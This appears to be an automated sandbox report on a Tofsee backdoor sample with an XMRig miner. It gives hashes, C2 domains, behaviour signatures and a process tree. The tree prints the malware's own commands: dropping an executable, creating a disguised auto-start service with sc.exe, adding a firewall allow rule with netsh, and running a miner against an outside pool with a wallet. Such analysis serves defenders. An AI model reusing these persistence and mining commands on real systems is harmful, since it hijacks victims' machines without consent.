Analysis

  • max time kernel
    152s
  • max time network
    157s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28-11-2022 00:50

General

  • Target

    ae103a988f889f4120a5d21bdf08d4ff41588c26c4efab1c604cab29dc5632a2.exe

  • Size

    178KB

  • MD5

    faca2fb4b7df8b02263be3f101775d8d

  • SHA1

    1ee11a0311a1507b66d76b668eaa1806794692a7

  • SHA256

    ae103a988f889f4120a5d21bdf08d4ff41588c26c4efab1c604cab29dc5632a2

  • SHA512

    3f8dd1204b45afb76df8137f1a46a40a6b53c3bf98b80959724d27bc1da1e1e48fb28c18ebbb4940b30ac6b98e1b04f4ccb937e7a9b836802bfbea903a88ff7c

  • SSDEEP

    3072:knSQXMYrEDcw6d5QWBhf7RBkDuaad402UlVDYJ5V2RBB2Wk2:mDEDcwdYJRBSuld40vYJ5yB

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ae103a988f889f4120a5d21bdf08d4ff41588c26c4efab1c604cab29dc5632a2.exe
    "C:\Users\Admin\AppData\Local\Temp\ae103a988f889f4120a5d21bdf08d4ff41588c26c4efab1c604cab29dc5632a2.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:392
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\fopizfdb\
      2⤵
        PID:4508
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\jmvggccz.exe" C:\Windows\SysWOW64\fopizfdb\
        2⤵
          PID:868
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create fopizfdb binPath= "C:\Windows\SysWOW64\fopizfdb\jmvggccz.exe /d\"C:\Users\Admin\AppData\Local\Temp\ae103a988f889f4120a5d21bdf08d4ff41588c26c4efab1c604cab29dc5632a2.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4256
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description fopizfdb "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1036
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start fopizfdb
          2⤵
          • Launches sc.exe
          PID:2352
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4604
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 392 -s 1232
          2⤵
          • Program crash
          PID:3120
      • C:\Windows\SysWOW64\fopizfdb\jmvggccz.exe
        C:\Windows\SysWOW64\fopizfdb\jmvggccz.exe /d"C:\Users\Admin\AppData\Local\Temp\ae103a988f889f4120a5d21bdf08d4ff41588c26c4efab1c604cab29dc5632a2.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4588
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1644
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4032
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4588 -s 512
          2⤵
          • Program crash
          PID:744
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 424 -p 392 -ip 392
        1⤵
          PID:2944
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 4588 -ip 4588
          1⤵
            PID:4480

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\jmvggccz.exe

            Filesize

            12.1MB

            MD5

            fbf4a050b711da35d14846d025a408f3

            SHA1

            b860b63516529360ad08014215be92b77093a02a

            SHA256

            b31a3a78c8dfd96923edfff5c3e57ff5684fa57aa53e4f187da3ffe6c5136a0e

            SHA512

            cc90a66273099cada06fcfc7dcfa1ce11f9ef5f2ecff446ed16e97244bd82950592a22e71cf282e83e4aa6225aeea6d6f8078731807bc56765827d6523f73a70

          • C:\Windows\SysWOW64\fopizfdb\jmvggccz.exe

            Filesize

            12.1MB

            MD5

            fbf4a050b711da35d14846d025a408f3

            SHA1

            b860b63516529360ad08014215be92b77093a02a

            SHA256

            b31a3a78c8dfd96923edfff5c3e57ff5684fa57aa53e4f187da3ffe6c5136a0e

            SHA512

            cc90a66273099cada06fcfc7dcfa1ce11f9ef5f2ecff446ed16e97244bd82950592a22e71cf282e83e4aa6225aeea6d6f8078731807bc56765827d6523f73a70

          • memory/392-133-0x0000000000860000-0x0000000000873000-memory.dmp

            Filesize

            76KB

          • memory/392-134-0x0000000000400000-0x000000000070E000-memory.dmp

            Filesize

            3.1MB

          • memory/392-132-0x00000000008AE000-0x00000000008BF000-memory.dmp

            Filesize

            68KB

          • memory/392-145-0x0000000000400000-0x000000000070E000-memory.dmp

            Filesize

            3.1MB

          • memory/392-144-0x0000000000860000-0x0000000000873000-memory.dmp

            Filesize

            76KB

          • memory/392-143-0x00000000008AE000-0x00000000008BF000-memory.dmp

            Filesize

            68KB

          • memory/868-136-0x0000000000000000-mapping.dmp

          • memory/1036-139-0x0000000000000000-mapping.dmp

          • memory/1644-146-0x0000000000000000-mapping.dmp

          • memory/1644-153-0x0000000000560000-0x0000000000575000-memory.dmp

            Filesize

            84KB

          • memory/1644-169-0x0000000001BE0000-0x0000000001BE7000-memory.dmp

            Filesize

            28KB

          • memory/1644-166-0x0000000007440000-0x000000000784B000-memory.dmp

            Filesize

            4.0MB

          • memory/1644-163-0x0000000000F30000-0x0000000000F35000-memory.dmp

            Filesize

            20KB

          • memory/1644-147-0x0000000000560000-0x0000000000575000-memory.dmp

            Filesize

            84KB

          • memory/1644-160-0x0000000000F20000-0x0000000000F30000-memory.dmp

            Filesize

            64KB

          • memory/1644-157-0x0000000000F10000-0x0000000000F16000-memory.dmp

            Filesize

            24KB

          • memory/1644-152-0x0000000000560000-0x0000000000575000-memory.dmp

            Filesize

            84KB

          • memory/1644-154-0x0000000000D00000-0x0000000000F0F000-memory.dmp

            Filesize

            2.1MB

          • memory/2352-140-0x0000000000000000-mapping.dmp

          • memory/4032-172-0x0000000000000000-mapping.dmp

          • memory/4032-173-0x0000000000600000-0x00000000006F1000-memory.dmp

            Filesize

            964KB

          • memory/4032-178-0x0000000000600000-0x00000000006F1000-memory.dmp

            Filesize

            964KB

          • memory/4256-138-0x0000000000000000-mapping.dmp

          • memory/4508-135-0x0000000000000000-mapping.dmp

          • memory/4588-151-0x0000000000400000-0x000000000070E000-memory.dmp

            Filesize

            3.1MB

          • memory/4588-150-0x00000000007D8000-0x00000000007E9000-memory.dmp

            Filesize

            68KB

          • memory/4604-141-0x0000000000000000-mapping.dmp